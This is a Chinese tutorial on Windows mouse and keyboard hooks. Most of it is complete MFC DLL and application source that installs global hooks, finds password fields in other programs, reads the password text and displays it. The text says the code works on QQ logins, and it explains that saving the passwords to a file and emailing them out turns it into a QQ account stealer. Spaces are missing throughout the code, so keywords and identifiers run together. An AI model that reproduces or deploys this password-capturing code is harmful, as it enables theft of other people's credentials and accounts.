利用鼠标键盘钩子截获密码

时间:2022-11-17 10:27:00

利用鼠标键盘钩子截获密码

钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的

钩子分类:

1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息

3、WH_DEBUG调试钩子

4、WH_FOREGROUNDIDLE当当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDL

5、WH_JOURNALRECORD监视和记录输入事件

6、WH_JOURNALPLAYBACK回放用WH_JOURNALRECORD记录事件

7、WH_KEYBOARD键盘钩子

9、WH_KEYBOARD_LL低层键盘钩子

10、WH_MOUSE鼠标钩子

11、WH_MOUSE_LL底层鼠标钩子

12、WH_SHELL外壳钩子

13、WH_MSGFILTER和WH_SYSMSGFILTER使我们可以监视菜单,滚动条,消息框等

安装钩子:

调用函数SetWindowsHookEx安装钩子。其函数原型为:

HHOOKSetWindowsHookEx(intidHook,HOOKPROClpfn,INSTANCEhMod,DWORDdwThreadId)

idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。

Lpfn是钩子函数的地址。

HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。(系统钩子必须在DLL中)

dwThreadId指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。

SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子

调用函数BOOLUnhookWindowsHookEx(HHOOKhhk)卸载钩子

定义钩子函数

钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:

LRESULTWINAPIMyHookProc(intnCode,WPARAMwParam,LPARAMlParam)

参数wParam和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:

下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFCAppWizard(dll)取名为GetPass,选择MFCExtensionDLL,完成。

2,新建一个CGetPassHook类,基类:CObject,并加入StartHook,StopHook,函数,如下:

classAFX_EXT_CLASSCGetPassHook:publicCObject

{

public:

BOOLStopHook();

BOOLStartHook(HWNDhwnd);

CGetPassHook();

virtual~CGetPassHook();

};

3:加入全局共享数据,如下:

#pragmadata_seg("ShareData")

HHOOKhKeyBoardHook=NULL;file://keyboarhook

HHOOKhMouseHook=NULL;file://mousehook

HINSTANCEglhInstance=NULL;file://globleinstance

HWNDhOutPutWnd=NULL;file://DisplayPassWnd

#pragmadata_seg()

4:加入鼠标,键盘钩子处理函数,如下:

LRESULTWINAPIMouseHookProc(intnCode,WPARAMwParam,LPARAMlParam)

{file://鼠标钩子得理函数

LPMOUSEHOOKSTRUCTlpMouse=(MOUSEHOOKSTRUCTFAR*)lParam;

if(nCode>=0)

{

HWNDhTargetHwnd=lpMouse->hwnd;file://得到鼠标所在窗口句柄

if(hTargetHwnd)

{

LONGstyle=::GetWindowLong(hTargetHwnd,GWL_STYLE);file://得到它的样式

if(style&ES_PASSWORD)file://如果是密码框

{

charszPass[255];

::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);

file://得到密码

::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);

file://显示密码

}

}

}

returnCallNextHookEx(hMouseHook,nCode,wParam,lParam);

file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,

file://可以起到截儿消息的目的,我们这里调用之。

}

LRESULTWINAPIKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam)

{file://keyboardhookproc

if(nCode>=0)

{

HWNDhTargetHwnd=GetActiveWindow();file://getactivewindow

if(hTargetHwnd)

EnumChildWindows(hTargetHwnd,EnumWndProc,0);file://枚举所有窗口

}

returnCallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);

file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,

file://可以起到截儿消息的目的,我们这里调用之。

}

这里要介绍下EnumChildWindows函数,原形如下:

BOOLEnumChildWindows(HWNDhWndParent,WINDENUMPROClpEnumFunc,LPARAMlParam);

hWndParent:为枚举窗口的句柄

lpEnumFunc:枚举函数的地址,

lParam:这里为0

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOLWINAPIEnumWndProc(HWNDhwnd,LPARAMlParam)

{file://enumthechildwindow,findpassedit

if(hwnd)

{

LONGstyle=::GetWindowLong(hwnd,GWL_STYLE);file://得到STYLE

if(style&ES_PASSWORD)file://是密码框

{

charszPass[255];

::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass);file://得到PASS

::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file://显示

returnTRUE;

}

}

returnTRUE;

}

6:在DEF文件中定义段属性:(这步很重要)

SECTIONS

mydataREADWRITESHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:

BOOLCGetPassHook::StartHook(HWNDhwnd)

{file://installhoook

hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);

file://mousehook

hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);

file://keyboardhook

if(hMouseHook&&hKeyBoardHook)

{

hOutPutWnd=hwnd;file://显示密码的句柄

returnTRUE;

}

returnFALSE;

}

BOOLCGetPassHook::StopHook()

{file://unstallhook

BOOLmHook=UnhookWindowsHookEx(hMouseHook);

BOOLkHook=UnhookWindowsHookEx(hKeyBoardHook);

if(mHook&&kHook)

returnTRUE;

returnFALSE;

}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:

externHINSTANCEglhInstance;file://记得这里

extern"C"intAPIENTRY

DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved)

{

UNREFERENCED_PARAMETER(lpReserved);

if(dwReason==DLL_PROCESS_ATTACH)

{

TRACE0("GETPASS.DLLInitializing!\n");

if(!AfxInitExtensionModule(GetPassDLL,hInstance))

return0;

newCDynLinkLibrary(GetPassDLL);

glhInstance=hInstance;file://得到句柄

}

elseif(dwReason==DLL_PROCESS_DETACH)

{

TRACE0("GETPASS.DLLTerminating!\n");

AfxTermExtensionModule(GetPassDLL);

}

return1;//ok

}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFCAppWizard(exe)命名为GetPassWord,并在第一步中选择AddtoCurrentWorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->AddtoProject-->Files

选择这两个文件。

2:在主对话框中,加入一个EDIT,ID为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include"GetPassHook.h"

classCGetPassWordDlg:publicCDialog

{

protected:

CGetPassHookm_hook;

。。。

DECLARE_MESSAGE_MAP()

};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOLCGetPassWordDlg::OnInitDialog()

{

CWnd*pWnd=GetDlgItem(IDC_EDIT_PASS);

m_hook.StartHook(pWnd->GetSafeHwnd());file://installhook

returnTRUE;//returnTRUEunlessyousetthefocustoacontrol

}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:

voidCGetPassWordDlg::OnDestroy()

{

CDialog::OnDestroy();

m_hook.StopHook();file://stophook

}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行.

这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。